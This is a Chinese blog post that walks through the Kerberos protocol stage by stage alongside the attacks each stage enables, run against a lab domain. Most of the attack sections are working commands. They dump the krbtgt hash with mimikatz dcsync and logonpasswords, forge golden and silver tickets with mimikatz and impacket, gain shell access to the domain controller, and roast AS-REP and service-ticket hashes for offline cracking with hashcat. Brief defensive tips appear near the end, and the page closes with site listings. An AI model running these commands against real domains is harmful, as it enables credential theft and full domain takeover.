Kerberos协议及其漏洞

最新推荐文章于 2023-07-29 18:15:00 发布
最新推荐文章于 2023-07-29 18:15:00 发布
阅读量4.1k 收藏 7
点赞数
文章标签： 安全 哈希算法
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43047908/article/details/120868368
版权

目录

前言

专业名词释义
DC域控
KDC密钥分发中心
AD活动目录，里面包含域内用户数据库
ASKerberos认证服务
TGTTGT认证权证，由AS服务发放
TGS票据授予服务
STST服务票据，由TGS服务发送

krbtgt 用户，该用户是在创建域时系统自动创建的一个账号，其作用是密钥发行中心的服务账号，其密码是系统随机生成的，无法正常登陆主机。

在这里插入图片描述

域控(server08):192.168.3.142
server08：192.168.3.68

AS-REQ

客户端向KDC的AS认证服务请求TGT认证权证。TGT是KDC的AS认证服务发放的

AS-REQ：当域内某个用户试图访问域中的某个服务，于是输入用户名和密码，本机的Kerberos服务会向KDC的AS认证服务发送一个AS-REQ认证请求。该请求包中包含： 请求的用户名、客户端主机名、加密类型 和 Authenticator(用户NTLM Hash加密的时间戳)以及一些其他信息。

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

AS-REQ阶段产生的攻击方式

hash传递

在AS-REQ阶段，是用用户密码Hash加密的Authenticator，所以也就造成了hash传递

在这里插入图片描述
只适用于域环境，并且目标主机需要安装 KB2871997补丁 PTK。

域内用户枚举

AS-REQ 的 cname 值，当用户不存在时，返回包提示错误，所以造成了改攻击方式。user.txt不需要加上@0day.org，也可以使用udp

在这里插入图片描述

密码喷洒

并且当用户名存在，密码正确和错误时，返回包也不一样，所以可以进行用户名密码爆破。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定，因为针对同一个用户的连续密码猜测会导致帐户被锁定。所以只有对所有用户同时执行特定的密码登录尝试，才能增加破解的概率，消除帐户被锁定的概率

针对明文：

在这里插入图片描述

针对ntlm hash：

在这里插入图片描述

AS-REP

AS-REP：当KDC接收到请求之后，通过AD活动目录查询得到该用户的密码Hash，用该密码Hash对请求包的Authenticator进行解密，如果解密成功，则证明请求者提供的密码正确，而且需要时间戳范围在五分钟内，且不是重放，于是预认证成功。KAS成功认证对方的身份之后，发送响应包给客户端。响应包中主要包括：krbtgt用户的NTLM Hash加密后的TGT认购权证(即ticket这部分) 和 用户NTLM Hash加密的Login Session key(即最外层 enc-part 这部分) 以及一些其他信息。该Login Session Key的作用是用于确保客户端和KDC下阶段之间通信安全。最后TGT认购权证、加密的Lgoin Session Key、时间戳 和 PAC等信息会发送给客户端。PAC中包含用户的SID，用户所在的组等一些信息。

在这里插入图片描述
在enc-part里面最重要的字段是Login session key，作为下阶段的认证密钥。
AS-REP中最核心的东西就是 Login session-key 和 加密的ticket。正常我们用工具生成的凭据是 .ccache 和 .kirbi 后缀的，用mimikatz，kekeo，rubeus生成的凭据是以 .kirbi 后缀的，impacket 生成的凭据的后缀是 .ccache 。两种票据主要包含的都是Login session-key 和 加密的 ticket，因此可以相互转化。

AS-REP阶段产生的攻击方式

黄金票据

在 AS-REP 阶段，由于返回的 TGT 认购权证是由 krbtgt 用户的密码Hash加密的，因此如果我们拥有 krbtgt 的 hash 就可以自己制作一个TGT认购权证，这就造成了黄金票据攻击

伪造黄金票据的前提：

  • 要伪造的域用户(这里我们一般填写域管理员账户)
  • 域名
  • 域的SID值(就是域成员SID值去掉最后的)
  • krbtgt账号的哈希值或AES-256值

使用mimikatz

先获取krbtgt hash：

在域控执行

mimikatz.exe "lsadump::dcsync /domain:0day.org /user:krbtgt"

得到如下信息：

sid：S-1-5-21-1812960810-2335050734-3517558805
ntlm hash：36f9d9e6d98ecf8307baf4f46ef842a2
aes256：dbc55f9f925de5a482d3bf5ede7d0d46d4b121c01bdd9d06be4aed367212d3f9

伪造用户administrator执行(aes256)

mimikatz "kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805
/aes256:dbc55f9f925de5a482d3bf5ede7d0d46d4b121c01bdd9d06be4aed367212d3f9 /user:administrator
/ticket:gold.kirbi"

伪造用户administrator执行(krbtgt hash)

mimikatz "kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805
/krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /user:administrator /ticket:gold.kirbi"

生成文件gold.kirbi

导入Golden Ticket，执行命令：

kerberos::ptt C:\Users\jack.0DAY\Desktop\gold.kirbi

获得域控权限

在这里插入图片描述
注意这里格式只能是 主机名.域名 的形式，而不能写ip。

使用impacket

这里使用kali，不在域内只需要把dns改为域控即可。

在这里插入图片描述

先生成票据administrator.ccache python3 ticketer.py -domain-sid S-1-5-21-1812960810-2335050734-3517558805 -nthash 36f9d9e6d98ecf8307baf4f46ef842a2 -domain 0day.org administrator

导入票据

export KRB5CCNAME=administrator.ccache

然后在访问域控

python3 smbexec.py -no-pass -k OWA2010SP3.0day.org

在这里插入图片描述

AS-REP Roasting

在AS-REP阶段，最外层的 enc-part 是用用户密码 Hash 加密的。对于域用户，如果设置了选项” Do not require Kerberos preauthentication”，此时向域控制器的 88 端口发送 AS_REQ 请求，对收到的AS_REP内容(enc-part底下的ciper，因为这部分是使用用户 hash 加密的 Login Session Key，我们通过进行离线爆破就可以获得用户hash)重新组合，能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式，接下来可以使用hashcat对其破解，最终获得该用户的明文口令，这就造成了 AS-REP Roasting攻击。

在这里插入图片描述

默认这个功能是不启用的，如果启用AS-REP会返回用户hash加密的sessionkey-as，这样我们就可以用john离线破解

在这里插入图片描述

使用Empire下的powerview.ps1查找域中设置了 “不需要kerberos预身份验证” 的用户

Import-Module .\powerview.ps1
 Get-DomainUser -PreauthNotRequired

在这里插入图片描述
使用ASREPRoast.ps1获取AS-REP返回的Hash

Import-Module .\ASREPRoast.ps1
Get-ASREPHash -UserName jack -Domain 0day.org | Out-File -Encoding ASCII hash.txt

在这里插入图片描述

修改为hashcat能识别的格式，在$krb5asrep后面添加$23拼接

 hashcat -m 18200 hash.txt pass.txt --force

在这里插入图片描述

TGS-REQ

经过上面的步骤，客户端获得了 TGT认购权证 和 Login Session Key。然后用自己的密码NTLM Hash解密Login Session Key得到 原始的Logon Session Key。然后它会在本地缓存此 TGT认购权证 和 原始的Login Session Key。如果现在它需要访问某台服务器的某个服务，它就需要凭借这张TGT认购凭证向KDC购买相应的入场券ST服务票据（Service Ticket）。ST服务票据是通过KDC的另一个服务 TGS（Ticket Granting Service）出售的。在这个阶段，微软引入了两个扩展自协议 S4u2self 和 S4u2Proxy(当委派的时候，才用的到)

TGS-REQ：客户端向KDC购买针对指定服务的ST服务票据请求，该请求主要包含如下的内容：客户端信息、Authenticator(Login Session Key加密的时间戳)、TGT认购权证(padata下ap-req下的ticket) 和 访问的服务名 以及一些其他信息 。

在这里插入图片描述

在这里插入图片描述

TGS-REP

TGS-REP：TGS接收到请求之后，首先会检查自身是否存在客户端所请求的服务。如果服务存在，则通过 krbtgt 用户的NTLM Hash 解密TGT并得到Login Session Key，然后通过Login Session Key解密Authenticator，如果解密成功，则验证了对方的真实身份，同时还会验证时间戳是否在范围内。并且还会检查TGT中的时间戳是否过期，且原始地址是否和TGT中保存的地址相同。在完成上述的检测后，如果验证通过，则TGS完成了对客户端的认证，会生成一个用Logon Session Key加密后的用于确保客户端-服务器之间通信安全的Service Session Key会话秘钥(也就是最外层enc-part部分)。并且会为该客户端生成ST服务票据。ST服务票据主要包含两方面的内容：客户端用户信息 和 原始Service Session Key，整个ST服务票据用该服务的NTLM Hash进行加密。最终Service Session Key 和 ST服务票据 发送给客户端。(这一步不管用户有没有访问服务的权限，只要TGT正确，就都会返回ST服务票据，这也是kerberoasting能利用的原因，任何一个用户，只要hash正确，就可以请求域内任何一个服务的ST票据)

在这里插入图片描述
enc-part：这部分是用请求服务的密码Hash加密的。因此如果我们拥有服务的密码Hash，那么我们就可以自己制作一个ST服务票据，这就造成了白银票据攻击。也正因为该票据是用请求服务的密码Hash加密的，所以当我们得到了ST服务票据，可以尝试爆破enc_part，来得到服务的密码Hash。这也就造成了kerberoast攻击

TGS-REP阶段产生的攻击方式

kerberoast攻击

Kerberoast攻击过程：

  1. 攻击者对一个域进行身份验证，然后从域控制器获得一个TGT认购权证 ，该TGT认购权证用于以后的ST服务票据请求
  2. 攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式（name/host）的servicePrincipalName(SPN)。例如：MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的，并且在用户或计算机帐户的servicePrincipalName字段中注册。在服务票证请求(TGS-REQ)过程中，攻击者可以指定它们支持的Kerberos加密类型(RC4_HMACAES256_CTS_HMAC_SHA1_96等等)。
  3. 如果攻击者的 TGT 是有效的，则 DC 将从TGT认购权证 中提取信息并填充到ST服务票据中。然后，域控制器查找哪个帐户在ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN的帐户的NTLM哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。
  4. 攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN的帐户的哈希加密的，所以攻击者可以离线破解这个加密块，恢复帐户的明文密码。

首先是请求服务票据

Rubeus.exe请求

Rubeus.exe kerberoast

Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作，其原理在于先用LDAP查询于内的spn，再通过发送TGS包，然后直接打印出能使用 hashcat 或 john 爆破的Hash。 以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式。

在这里插入图片描述
2.powershell请求

#请求服务票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"
#列出服务票据
klist

在这里插入图片描述

3.mimikatz请求

请求指定SPN的服务票据

#请求服务票据
kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433 
#列出服务票据
kerberos::list  
#清除所有票据
kerberos::purge

4.Impacket中的GetUserSPNS.py请求

该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据，可用hashcat直接爆破。

python3 GetUserSPNs.py -request -dc-ip 192.168.200.143 0day.org/jack

在这里插入图片描述
这里输入jack的密码

导出票据

首先是查看

klist
或
mimikatz.exe "kerberos::list"
 
MSF里面
load kiwi
kerberos_ticket_list
或
load kiwi
kiwi_cmd kerberos::list

1.mimikatz导出

mimikatz.exe "kerberos::list /export" "exit"

执行完后，会在mimikatz同目录下导出 后缀为kirbi的票据文件

在这里插入图片描述
2.Empire下的Invoke-Kerberoast.ps1

Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat

在这里插入图片描述
离线破解服务票据

1.kerberoast中的tgsrepcrack.py

python2 tgsrepcrack.py password.txt xx.kirbi

在这里插入图片描述
2.hashcat

将导出的hashcat格式的哈希保存为hash.txt文件，放到hashcat的目录下

hashcat -m  13100  hash.txt  pass.txt

Kerberoast攻击防范

  • 确保服务账号密码为强密码(长度、随机性、定期修改)
  • 如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5，就无法实验 tgsrepcrack.py来破解密码。
  • 攻击者可以通过嗅探的方法抓取Kerberos
    TGS票据。因此，如果强制实验AES256_HMAC方式对Kerberos票据进行加密，那么，即使攻击者获取了Kerberos票据，也无法将其破解，从而保证了活动目录的安全性。
  • 许多服务账户在内网中被分配了过高的权限，且密码强度较差。攻击者很可能通过破解票据的密码，从域用户权限提升到域管理员权限。因此，应该对服务账户的权限进行适当的配置，并提高密码的强度。
  • 在进行日志审计时，可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769日志，应进一步检查系统中是否存在恶意行为。

白银票据

在TGS-REP阶段，TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的，如果我们拥有服务的hash，就可以给我们自己签发任意用户的TGS票据，这个票据也被称为白银票据。相较于黄金票据，白银票据使用要访问服务的hash，而不是krbtgt的hash，由于生成的是TGS票据，不需要跟域控打交道，但是白银票票据只能访问特定服务。但是要注意的一点是，伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名，则银票将不起作用

要创建白银票据，我们需要知道以下信息：

  • 要伪造的域用户(这里我们一般填写域管理员账户)
  • 域名
  • 域的SID值(就是域成员SID值去掉最后的)
  • 目标服务的FQDN
  • 可利用的服务
  • 服务账号的NTLM哈希

这里使用白银票据伪造CIFS服务，该通常用于Windows主机之间的文件共享。

1.mimikatz获得服务账号的ntlm hash

privilege::Debug
sekurlsa::logonpasswords

在这里插入图片描述
得到NTLM为: 2c268a2a643267a4204a6ef6f896446b

2.使用白银票据攻击

kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3.0day.org /service:cifs /rc4:2c268a2a643267a4204a6ef6f896446b /user:administrator /ptt

在这里插入图片描述
3.查看票据

在这里插入图片描述

4.访问域控

在这里插入图片描述

防御：
伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名，则银票将不起作用。

白银票据和黄金票据的不同点

访问权限不同：

黄金票据Golden Ticket：伪造TGT认购权证，可以获取任何Kerberos服务权限
白银票据Silver Ticket：伪造ST服务票据，只能访问指定的服务

加密方式不同：

Golden Ticket由krbtgt的Hash加密
Silver Ticket 由服务账号（通常为计算机账户）Hash加密

认证流程不同：

Golden Ticket的利用过程需要访问域控，
而Silver Ticket不需要

PAC

kerberos的流程：

1.用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳，KDC使用用户hash进行解密，如果结果正确返回用krbtgt hash加密的TGT票据

2.用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求，KDC使用krbtgt hash进行解密，如果结果正确，就返回用服务hash 加密的TGS票据
3.用户拿着TGS票据去请求服务，服务使用自己的hash解密TGS票据。如果解密正确，就允许用户访问。

上面这个流程看起来没错，却忽略一个最重要的因素，那就是用户有没有权限访问该服务，在上面的流程里面，只要用户的hash正确，那么就可以拿到TGT，有了TGT，就可以拿到TGS，有了TGS，就可以访问服务，任何一个用户都可以访问任何服务。也就是说上面的流程解决了”Who am i?”的问题，并没有解决 “What can I do?”的问题。

在Kerberos最初设计的流程里说明了如何证明客户端的真实身份，但是并没有说明客户端是否有权限访问该服务，因为在域中不同权限的用户能够访问的资源是不同的。所以微软为了解决权限这个问题，引入了 PAC (Privilege Attribute Certificate，特权属性证书) 的概念。

她总是阴雨天
关注
  • 0
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
内网渗透(六十六)之Kerberos Bronze Bit 漏洞
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
05-12 576
Kerberos Bronze Bit （CVE-2020-17049）漏洞是国外安全公司Netspi 安全研究员 Jake Karnes 发现的一个Kerberos安全功能绕过漏洞。该漏洞存在的原因在于KDC在确定Kerberos服务票据是否可用于通过Kerberos的约束性委派时，其方式中存在一个安全功能绕过漏洞。利用此漏洞，一个被配置为使用约束性委派的遭入侵服务可以篡改一个对委派无效的服务票据，从而迫使KDC接受它。该漏洞启用的攻击是Kerberos委派引起的其它已知攻击的扩展。
内网渗透：Kerberos认证协议安全性分析
dzqxwzoe的博客
08-19 324
要想进行内网渗透，可以说必须了解kerberos协议，可以说这是一个基础，本文总结了kerberos的认证流程以及可能出现的攻击方式。
Kerberos认证原理及相关漏洞
qq_37466661的博客
05-25 659
Kerberos认证原理及相关漏洞
Kerberos KDC域权限提升漏洞总结
m0_38103658的博客
04-13 887
Kerberos KDC域权限提升漏洞总结 0x00 漏洞起源 Windows Kerberos对kerberos tickets中的PAC(Privilege Attribute Certificate)的验证流程中存在安全漏洞，低权限的经过认证的远程攻击者利用该漏洞可以伪造一个PAC并通过Kerberos KDC(Key Distribution Center)的验证，攻击成功使得攻击者可以提...
浅析Kerberos 约束委派SPN的安全漏洞
weixin_33827731的博客
09-20 559
本文讲的是浅析Kerberos 约束委派SPN的安全漏洞，在过去几年中，越来越多的安全研究人员开始研究Kerberos的安全性，最终发现了在支持该认证协议的网络环境中的很多有趣的攻击方式。 在本博文中，我将介绍我在Windows的Kerberos约束委派功能中的一些发现（这些安全问题仍然未解决）以及在考虑使用或测试此技术时可能会用到的服务主体名称（SP...
内网渗透测试：Kerberos协议相关安全问题分析与利用
A_991128a的博客
07-29 123
在上一节中我们说到过，Kerberos 认证并不是天衣无缝的，这其中也会有各种漏洞能够被我们利用，比如我们常说的MS14-068、黄金票据、白银票据等就是基于Kerberos协议进行攻击的。下面我们便详细的讲解一下 Kerberos 认证中的相关安全问题。文中若有不当之处还请各位大佬多多点评。
信息安全原理与技术ch07-网络安全协议 精品资料.pptx
10-24
本章主要探讨了几个重要的网络安全协议及其原理。 首先，简单安全认证协议如Needham-Schroeder协议，它是早期认证协议的基础。该协议涉及三个实体：A、B以及它们共同信任的认证服务器S。协议流程中，A和B通过与S...
windows域环境漏洞分析ppt
10-18
3. 通过Kerberos协议进行身份认证，获取TGT，并将凭据缓存保存到了ccache文件中。 4. 检索并获取了用户的NT hash，NT hash是Windows系统中用于存储用户密码的哈希值。 5. 通过impacket-secretsdump工具来用伪造的...
原创：AD域介绍及其意义.docx
03-13
3. **增强安全性**：AD支持多种安全认证方式，如Kerberos协议、X.509证书和智能卡认证，其中Kerberos协议因其公钥和对称密钥结合的特性，为身份验证提供了高安全性，降低了因单一系统安全漏洞带来的风险。...
一个玩转Windows安全的小工具___下载.zip
04-19
其次，mimikatz还支持Kerberos协议的分析。Kerberos是一种广泛用于网络认证的安全协议，但同时也可能成为攻击目标。通过mimikatz，我们可以查看和复制Kerberos票据，从而检测系统中是否存在可能导致凭证盗窃的风险。...
缓冲区溢出漏洞实验报告
10-15
1.本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。 输入命令安装一些用于编译 32 位 C 程序的软件包 Sudo apt-get update
2020年网络与信息安全技术期末考试题（一）.docx
10-11
4. Kerberos协议：Kerberos是一种网络认证协议，它使用对称密钥加密，包含认证服务器、票据授权服务器和客户机三个部分，完成身份鉴别后获取用户票据许可票据。该协议要求时钟基本同步。 5. 数据库安全：访问控制的...
MS14-068 | Kerberos 中的漏洞可能允许特权提升
收集盒 Book box
11-29 1378
微软已于2014年11月19日发布补丁MS14-068（严重），该补丁修复了Windows Kerberos允许特权提升的漏洞（CVE-2014-6324），详情如下，请大家关注。    已确认被成功利用的软件及系统：    Windows Server 2003  Windows Vista  Windows Server 2008  Windows 7  Windows Ser
内网安全之：Kerberos 域用户提权漏洞(MS14-068；CVE-2014-6324)
f_carey的博客
12-08 1663
郑重声明： 本笔记编写目的只用于安全知识提升，并与更多人共享安全知识，切勿使用笔记中的技术进行违法活动，利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责，共同维护网络文明和谐。 Kerberos 域用户提权漏洞(MS14-068；CVE-2014-63241 pyKEK 工具包2 MSF 中 ms14_068 利用3 goldenPac.py4 防范 Kerberos MS14-068 漏洞 Microsoft Security Bulletin MS14-068 - Critical.
缓冲区溢出漏洞
devil
04-15 1803
缓冲区溢出攻击 一. 缓冲区溢出 是指程序试图向缓冲区写入超出预分配固定长度数据的情况。 这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。 这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。 二. 安装一些用于编译 32 位 C 程序的软件包(32 位Ubuntu linux环境) $ sudo apt-get update $ sudo apt-...
Windows安全认证是如何进行的？
weixin_34067049的博客
06-09 222
一、Kerberos认证简介Windows认证协议有两种NTLM（NT LAN Manager）和Kerberos，前者主要应用于用于Windows NT 和 Windows 2000 Server（or Later） 工作组环境，而后者则主要应用于Windows 2000 Server（or Later） 域（Domain）环境。Kerberos较之NTLM更高效、更安全，同时认证过程也相对复杂...
OpenLDAP服务器Kerberos 4 Bind请求远程栈溢出漏洞
look01的专栏
10-29 1256
最近在研究LDAP,baidu了一下openldap的n多bug，发现自己下载的2.3.32已经把这个漏洞修复了，呵呵。下面是漏洞的详细情况和利用。以下转载自绿盟科技http://www.nsfocus.net/vulndb/9662OpenLDAP服务器Kerberos 4 Bind请求远程栈溢出漏洞发布日期：2006-12-13更新日期：2006-12-14受影响系统： Ope
大数据安全验证之Kerberos | StartDT Tech Lab 11
StartDT的博客
08-05 519
Kerberos本质上是一种安全认证协议
kerberos协议
最新发布
01-28
Kerberos协议是一种网络身份验证协议，旨在提供在开放的非安全网络中认证识别用户身份信息的方法。它使用密钥加密技术为客户端/服务端应用程序提供强身份验证。Kerberos协议需要三个角色的共同参与才能完成一次认证流程。这三个角色分别是客户端、认证服务器（AS）和票据授权服务器（TGS）。 Kerberos协议的认证流程如下： 1. 客户端向认证服务器发送身份验证请求。 2. 认证服务器验证客户端的身份，并生成一个称为票据授权票据（TGT）的票据，该票据包含客户端的身份信息和一个会话密钥。 3. 认证服务器将TGT发送给客户端。 4. 客户端使用自己的密码解密TGT，并获取会话密钥。 5. 客户端向票据授权服务器发送服务请求，并附上TGT。 6. 票据授权服务器验证TGT的有效性，并生成一个称为服务票据（ST）的票据，该票据包含客户端的身份信息和一个用于与服务端通信的会话密钥。 7. 票据授权服务器将ST发送给客户端。 8. 客户端将ST发送给服务端。 9. 服务端验证ST的有效性，并使用会话密钥与客户端进行通信。 通过以上流程，Kerberos协议实现了客户端和服务端之间的安全通信，保护了用户的身份信息和通信内容的机密性。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值